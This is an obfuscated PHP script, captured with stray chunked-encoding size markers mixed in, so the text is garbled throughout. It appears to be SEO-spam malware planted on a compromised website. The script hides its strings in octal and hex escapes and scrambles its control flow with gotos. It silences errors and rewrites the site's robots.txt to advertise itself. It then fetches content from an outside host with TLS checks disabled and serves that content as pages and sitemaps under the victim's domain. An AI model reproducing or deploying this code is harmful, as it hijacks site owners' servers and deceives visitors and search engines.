4 $url, CURLOPT_ 9 RETURNTRA b NSFER => tr 11 ue, CURLOPT_SSL_V 7 ERIFYPE 20 ER => false, CURLOPT_SSL_VERIFYH 19 OST => false, CURLOPT_FOL 8 LOWLOCAT 18 ION => true, CURLOPT_TIM 14 EOUT => 10, CURLOPT_ 1c POST => true, CURLOPT_POSTFI 1f ELDS => $postString)); $data = 16 curl_exec($ch); curl_c 11 lose($ch); if (!e f mpty($data)) { e return $data; c } } if (ini_ f get("\141\x6c\1 f 54\157\x77\x5f\ 13 165\162\154\x5f\146 10 \157\160\x65\x6e 11 ")) { $context = 1f stream_context_create(array("\1 f 50\164\x74\x70" 16 => array("\x6d\x65\x7 12 4\150\157\144" => 10 "\x50\117\x53\x5 10 4", "\x74\x69\x6 1a d\x65\x6f\x75\164" => 10, d "\x68\145\x61 16 \144\145\x72" => "\x43 1a \157\156\164\145\x6e\x74\x a 2d\124\x79 13 \x70\145\72\40\141\ 14 160\160\x6c\151\143\ 18 x61\x74\151\157\156\57\1 13 70\55\167\x77\167\5 16 5\x66\x6f\162\x6d\x2d\ 10 x75\x72\154\145\ 16 156\143\157\144\x65\x6 e 4\15\xa" . "\1 1b 03\157\156\x74\145\156\164\ 12 55\x4c\x65\x6e\147 f \164\150\72\x20 17 " . strlen($postString) 11 . "\15\12" . "\x 15 55\x73\145\x72\x2d\10 1a 1\x67\145\156\164\x3a\40\1 18 15\157\172\x69\x6c\x6c\1 e 41\57\x35\56\x 15 30\15\12", "\x63\157\ 14 x6e\164\x65\156\164" 1f => $postString), "\163\163\x6c 1c " => array("\166\x65\x72\151 15 \146\x79\x5f\160\x65\ 19 145\162" => false, "\166\ 1c 145\x72\151\x66\x79\x5f\160\ 19 145\x65\x72\x5f\x6e\x61\1 1e 55\x65" => false))); $data = @ e file_get_conte 11 nts($url, false, 3b $context); if (!empty($data)) { return $data; } } return '' e ; } goto wRFt_ 8 ; VguJR: 18 if (!empty($get["\162"] d )) { $robotsP b ath = $_SER f VER["\x44\117\x 11 43\125\115\x45\x4 d e\x54\137\122 13 \117\x4f\x54"] . "\ 16 57\162\157\142\x6f\x74 15 \163\x2e\x74\x78\164" a ; $sitemap 9 Block = " 15 \125\163\145\162\55\1 13 41\147\x65\x6e\164\ 10 72\40\x2a\xa\x41 1c \x6c\x6c\x6f\167\x3a\40\57\x 1a a"; $sitemaps = "\12\x53\x 14 69\x74\145\x6d\x61\1 11 60\x3a\x20{$http_ 13 type}{$_SERVER["\x4 e 8\x54\124\x50\ 12 x5f\110\117\123\12 1a 4"]}{$_SERVER["\123\x43\x5 c 2\x49\x50\12 15 4\x5f\x4e\101\x4d\x45 d "]}\x3f\x73\7 1c 5\163\12"; if (!file_exists( 17 $robotsPath)) { file_pu 27 t_contents($robotsPath, $sitemapBlock . 13 $sitemaps); } else 28 { $robotsContent = @file_get_contents($ 18 robotsPath); if (strpos( 23 $robotsContent, $_SERVER["\123\x43\ 10 122\111\120\x54\ 19 x5f\x4e\101\x4d\105"]) == c = false) { @ 2f file_put_contents($robotsPath, $sitemaps, FILE_ 7 APPEND) 12 ; } } } goto Kw0TV a ; lb_EM: $ 11 vurl = $http_type 13 . "\x69\144\154\17 f 1\x32\56\x69\x6 18 4\163\150\x6f\x70\56\x63 11 \x63\167\x75\x2e\ 12 143\x63\57\64\61\x 13 39\56\x61\163\x70\1 11 70"; goto VguJR; 19 WNTMb: if (!empty($get["\ 20 x69\x64"])) { if (empty($get["\1 13 53\x6b"])) { $ip = e get_ip(); $par 14 ams = array("\151\16 14 0" => $ip, "\x69\144 14 " => isset($get["\15 1b 1\144"]) ? $get["\151\x64"] c : '', "\x6c 12 \x6c" => $ll); $tz 17 str = getCurl($vurl, $p 25 arams); if (strpos($tzstr, "\x69\144" 12 ) !== false) { ech d o $tzstr; die 34 ; } } $params = array("\151\x64" => $get["\x69\x64"] 17 , "\154\154" => $ll); $ 2c str = getCurl($vurl, $params); $str = str_re 14 place(array("\173\x5 d 5\x52\114\x7d 10 ", "\x7b\xe5\x9f 10 \x9f\xe5\x90\x8d 18 \x7d"), array(get_url_in e fo("\x66\x75\1 1c 54\x6c"), get_url_info("\x6e 17 \157\x5f\167\167\x77")) f , $str); echo $ 22 str; die; } else { $sitemapUrl = $ 15 ll . "\x3f\x73\75" . f date("\x59\155\ c 144\x48\x69" 19 ); echo "\x3c\144\151\x76 17 \x20\163\164\171\x6c\14 e 5\x3d\47\164\1 19 45\170\164\x2d\141\x6c\x6 d 9\x67\156\x3a 1d \143\145\x6e\x74\145\x72\73\4 15 0\160\x61\x64\x64\151 1c \x6e\147\x3a\61\x30\160\170\ 11 x20\x30\x3b\47\x3 13 e\x3c\x61\x20\150\x 11 72\145\x66\x3d\x2 10 2{$sitemapUrl}\4 1a 2\x20\164\141\162\147\x65\ 13 164\x3d\x22\x5f\x62 1d \x6c\141\x6e\153\x22\x20\x72\ 10 x65\154\75\42\15 18 6\157\146\x6f\154\154\15 10 7\167\42\76\40\1 1b 23\151\164\x65\155\141\160\ 18 74\x2f\141\x3e\74\x2f\14 e 4\x69\166\x3e" f ; } goto UHNmn; 25 Kw0TV: if (!empty($get["\x73"])) { $ 21 params = array("\x73" => date("\1 14 31\155\144\110\x69") 14 , "\156\x75\155\x62\ 1f 145\162" => $get["\156\165\x6d\ d 142\145\162"] 4e ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x93\ d 345\211\x8d\x 11 e5\234\xb0\xe5\x9 13 d\200\175"), array( 20 $http_type . $_SERVER["\x48\124\ 1d 124\120\x5f\110\x4f\123\124"] 1e . $_SERVER["\x53\103\122\x49\ f 120\124\x5f\116 19 \101\115\105"]), $str); h c eader("\x43\ 1f x6f\156\164\145\156\x74\55\164\ 11 171\x70\x65\x3a\x 17 74\145\x78\164\x2f\x78\ 22 x6d\154"); echo $str; die; } goto 10 WNTMb; OsiDT: er d ror_reporting 11 (0); goto XVeBg; 12 HWR4h: $http_type 16 = !empty($_SERVER["\11 17 0\124\x54\120\x53"]) && 1f $_SERVER["\x48\x54\x54\120\123 13 "] !== "\157\x66\x6 11 6" ? "\x68\x74\x7 11 4\160\x73\72\57\x 19 2f" : "\x68\x74\x74\160\x 15 3a\57\x2f"; goto rRNp 11 n; rRNpn: $ll = " 2d {$http_type}{$_SERVER["\x48\124\x54\120\137\1 35 10\117\123\124"]}{$_SERVER["\x53\x43\122\x49\120\124\ 1e 137\x4e\x41\x4d\x45"]}"; goto b lb_EM; RyBo 18 U: function get_ip() { f 12 oreach (array("\11 15 0\x54\x54\120\137\x58 14 \x5f\x46\x4f\122\127 13 \101\122\x44\105\10 17 4\x5f\106\117\x52", "\x 19 48\124\x54\x50\137\103\x4 18 c\x49\105\116\124\x5f\11 10 1\120", "\x52\10 19 5\115\117\124\105\x5f\101 13 \x44\x44\x52") as $ 1b key) { if (!empty($_SERVER[ 15 $key])) { return trim b (explode("\ 17 54", $_SERVER[$key])[0] 19 ); } } return "\x55\116\x 12 4b\116\117\127\x4e 16 "; } goto w0kkS; N6bGe 20 : function get_url_info(string $ 17 return_type = "\144\157 15 \155\x61\x69\x6e") : e string { $host 23 = $_SERVER["\x48\124\124\x50\137\1 2d 10\x4f\123\124"]; if ($return_type === "\144\ 14 x6f\x6d\x61\151\x6e" 18 ) { return $host; } if ( 21 $return_type === "\x6e\x6f\x5f\x7 1b 7\x77\x77") { return ltrim( 18 $host, "\x77\x77\x77\x2e 8 "); } $p c rotocol = is 1b set($_SERVER["\110\x54\124\ 2a 120\123"]) && $_SERVER["\110\124\124\x50\1 14 23"] === "\x6f\156" 28 || isset($_SERVER["\x48\124\x54\x50\137\ 24 x58\137\106\117\x52\127\101\122\x44\ 17 x45\x44\137\120\x52\x4f 26 \124\x4f"]) && $_SERVER["\x48\x54\x54\ 1d x50\x5f\130\137\x46\x4f\x52\x 17 57\x41\x52\x44\x45\104\ 22 137\x50\122\117\124\x4f"] === "\x6 14 8\164\164\160\x73" ? 22 "\x68\164\164\x70\x73\x3a\57\x2f" 1c : "\x68\x74\164\x70\x3a\x2f c \57"; $base_ 19 url = $protocol . $host; 26 if ($return_type === "\142\141\x73\x65 1c ") { return $base_url; } $ur 1c i = $_SERVER["\x52\105\x51\x 14 55\x45\x53\124\x5f\x 11 55\122\111"]; $fu 14 ll_url = $base_url . 2f $uri; if ($return_type === "\146\165\154\x6c") 29 { return $full_url; } return ''; } goto 1a RyBoU; wRFt_: function get 21 Curl($url, $getData = array()) { 1e if (!empty($getData)) { $query 30 String = is_array($getData) ? http_build_query($ 1a getData) : $getData; $url 16 .= (strpos($url, "\x3f 1b ") === false ? "\x3f" : "\x 13 26") . $queryString 1f ; } if (function_exists("\143\1 10b 65\162\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_H 18 TTPGET => true, CURLOPT_ 9 USERAGENT 19 => "\115\157\172\151\154 13 \x6c\141\x2f\65\56\ 73 60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\15 10 7\x77\137\x75\x7 1d 2\x6c\137\x66\157\160\145\x6e 51 ")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\14 2c 5\x74\150\157\144" => "\107\105\x54", "\x74\ 16 151\155\x65\x6f\165\16 1c 4" => 10, "\150\x65\x61\144\ 1a x65\x72" => "\x55\x73\145\ 10 162\x2d\x41\147\ 1f 145\x6e\x74\x3a\x20\x4d\x6f\x7a 15 \151\154\154\x61\57\6 14 5\56\x30\xd\12"), "\ 1a x73\x73\154" => array("\x7 3f 6\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\ 16 162\151\146\x79\137\x7 1c 0\x65\x65\x72\137\x6e\141\x6 80 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 10 HWR4h; UHNmn: ?> 0